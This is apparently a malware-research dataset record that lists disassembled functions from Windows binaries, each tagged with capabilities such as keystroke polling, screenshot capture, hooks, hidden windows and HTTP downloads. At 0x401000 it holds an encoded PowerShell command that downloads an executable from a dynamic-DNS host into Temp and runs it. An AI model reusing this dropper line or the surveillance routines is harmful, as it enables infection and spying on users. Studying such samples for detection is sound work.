joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43114c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x431168
cmp dword [esi + 4], 0
je 0x431195
test byte [ebx + 0x55], 1
jne 0x431187
mov eax, ebx
call fcn.0042fd58
test eax, eax
jne 0x431187
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4312a5
mov edx, esi
mov eax, ebx
call fcn.00430c70
jmp 0x4312a5
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43129e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00432fbc
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042da60
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043114c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00432fbc
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4312a5
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x437704
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x44f0b8]
cmp byte [eax + 0xc], 0
je 0x437871
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43786a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x450af8], 0
jne 0x437758
push 0x437878
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x437880
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450af8], eax
cmp dword [0x44eac8], 0
jne 0x437853
push 0x437890
call sub.kernel32.dll_LoadLibraryA
mov dword [0x44eac8], eax
cmp dword [0x44eac8], 0
je 0x437853
push 0x43789c
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450afc], eax
push 0x4378ac
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b00], eax
push 0x4378c0
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b04], eax
push 0x4378d8
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b08], eax
push 0x4378f0
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b0c], eax
push 0x437904
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b10], eax
push 0x43791c
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b14], eax
push 0x437934
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b18], eax
push 0x437950
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b1c], eax
push 0x43795c
mov eax, dword [0x44eac8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b20], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x437871
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43b724
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0040487c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43b773
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404aec
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x442f1c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x442f6c]
test si, 4
je 0x442f30
or bl, 1
test si, 8
je 0x442f3a
or bl, 4
test si, 1
je 0x442f44
or bl, 8
test si, 2
je 0x442f4e
or bl, 0x10
test si, 0x10
je 0x442f58
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x442f67
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x442f70
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x442fa8]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x442f89
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x442f98
or bl, 4
test esi, 0x20000000
je 0x442fa3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44966c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44967e
add esp, 0xfffffff0
call fcn.00403e28
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419ce8
mov eax, dword [0x44edb0]
mov dword [eax + 4], ebx
mov dword [eax], 0x449a10
mov eax, dword [0x44edbc]
mov dword [eax + 4], ebx
mov dword [eax], 0x449a1c
mov eax, ebx
call fcn.00449a28
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411f00]
call fcn.00403ad8
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411f00]
call fcn.00403ad8
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411f00]
call fcn.00403ad8
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411f00]
call fcn.00403ad8
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411f00]
call fcn.00403ad8
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x445e40
push eax
push 0
push 0
mov eax, dword [0x44eef0]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b710]
call fcn.0041cb78
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b710]
call fcn.0041cb78
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b710]
call fcn.0041cb78
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00449e78
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449d40
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449d40
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449d40
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4497bb
call fcn.00403e80
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x449b24
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x449ccf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x449cb0
mov dl, 1
mov eax, dword [0x41231c]
call fcn.00403ad8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040487c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x449c9f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00437a64
test al, al
je 0x449c92
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x449ce0
lea eax, [ebp - 0x254]
call fcn.00409340
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x449c92
xor eax, eax
push ebp
push 0x449c8b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x449d18
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x449c74
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404aec
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x449c74
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404aec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449c92
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x449b95
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415e80
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449cd6
lea eax, [ebp - 0x260]
call fcn.0040487c
ret

Function at 0x44a618
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x450b44]
cmp byte [eax + 0xa5], 0
jne 0x44a689
cmp dword [0x450b5c], 0
jne 0x44a64a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44a5d4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x450b5c], eax
cmp dword [0x450b58], 0
jne 0x44a665
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x450b58], eax
cmp dword [0x450b60], 0
jne 0x44a689
push esp
push 0
push 0
push 0x44a578
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x450b60], eax
pop edx
ret
Function at 0x44ad1c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x450b44]
cmp dword [eax + 0x30], 0
je 0x44adc6
cmp dword [ebx + 0x94], 0
jne 0x44adc0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44acac
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44adc0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44ad86
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44adc0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041427c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44ad95
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44b924
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44b959
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040496c
jmp 0x44b966
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004048d0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44ca88
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44cac9
mov eax, esi
call fcn.0043321c
test al, al
je 0x44cac9
mov eax, dword [ebx + 0x84]
call fcn.00432fbc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44cac9
push 0
mov eax, dword [ebx + 0x84]
call fcn.00432fbc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x44d510
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa9c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0x14], ecx
mov esi, edx
mov ebx, eax
lea edi, [ebp - 0x10]
xor eax, eax
push ebp
push 0x44d675
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x564]
mov eax, dword [0x44ef64]
mov eax, dword [eax]
call fcn.0044c438
mov eax, dword [ebp - 0x564]
lea edx, [ebp - 0x14]
call fcn.00408bd8
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00404d3c
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x44d64d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, ebx
call fcn.00404d3c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x44d62f
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, esi
lea eax, [ebp - 0x560]
call fcn.00403134
mov edx, 1
lea eax, [ebp - 0x560]
call fcn.00403534
call fcn.00402bf4
push edi
push 0x400
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x414]
mov ecx, dword [edi]
lea eax, [ebp - 0x560]
call fcn.00403284
call fcn.00402bf4
cmp dword [edi], 0
jne 0x44d5cf
lea eax, [ebp - 0x560]
call fcn.004032a4
call fcn.00402bf4
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d636
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8ARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACwAIAA8ACMAcABlAGIAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAHgAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBmAHYAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAG4AYwByAHkAcAB0AGUAZAAuAGUAeABlACcAKQApADwAIwB3AGYAZAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGwAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBpAGkAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACkAPAAjAHkAcQB0ACMAPgA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret

Function at 0x408924
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
sub esi, 1
add esi, 0x43939ffd
call fcn.00408966
xor dword [ecx], edi
sub esi, 0x6819b3b3
sub esi, eax
add ecx, 1
sub esi, 1
cmp ecx, ebx
jne fcn.00408924
ret
Function at 0x402bd4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403e10
test esi, esi
jne 0x402c0b
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00403f00
jmp 0x402c2c
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402a70
mov dword [esp], eax
test esi, esi
je 0x402c2c
cmp dword [ebx], 0
je 0x402c2c
dec esi
jmp 0x402c13
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x40318c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x410018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403224
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403204
xor eax, eax
push ebp
push 0x4031fd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403240
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403204
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x410018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x410018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403c8c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x411044], 0
je 0x403ced
cmp word [0x411218], 0xd7b2
jne 0x403cb5
cmp dword [0x411220], 0
jbe 0x403cb5
mov eax, 0x411214
call dword [0x411230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x410060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d14
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x410024], 0
jne 0x403d09
push 0
push 0x410058
push 0x410060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4053d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405436
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404074
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402d80
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405420
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40543d
lea eax, [ebp - 0x10]
call fcn.00403e10
ret

Function at 0x4089f0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408a29
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f00
jmp 0x408a32
mov eax, ebx
mov edx, esi
call fcn.00403e64
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408a3c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408a5d
mov al, byte [esp]
jmp 0x408a5f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4090f4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x408f5c
mov eax, dword [0x4105ec]
cmp byte [eax], 0
je 0x409170
mov eax, dword [0x4104dc]
call fcn.00402c8c
call fcn.004029a8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00406b40
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4091b8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x4091a6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4104b4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x411660]
call fcn.00404d74
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x409dbc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x409e20
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404074
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406818
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e27
lea eax, [ebp - 0xc]
call fcn.00403e10
ret

Function at 0x40aa38
Capabilities:
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff84
push ebx
xor edx, edx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404290
xor eax, eax
push ebp
push 0x40ab77
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d60
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 5
mov eax, dword [0x410540]
mov eax, dword [eax]
call fcn.004042a0
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
lea edx, [ebp - 8]
mov eax, dword [0x4105c0]
call fcn.0040efdc
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
push dword [ebp - 8]
push 0x40ab90
push dword [ebp - 4]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.00404160
mov eax, dword [ebp - 0x7c]
call fcn.004042a0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x40ab12
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004042a0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x40ab54
jmp 0x40ab3f
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x78]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
je 0x40ab3f
lea eax, [ebp - 0x78]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x78]
push eax
call sub.user32.dll_DispatchMessageA
push 0xc8
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x40ab18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ab7e
lea eax, [ebp - 0x7c]
call fcn.00403e10
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e34
ret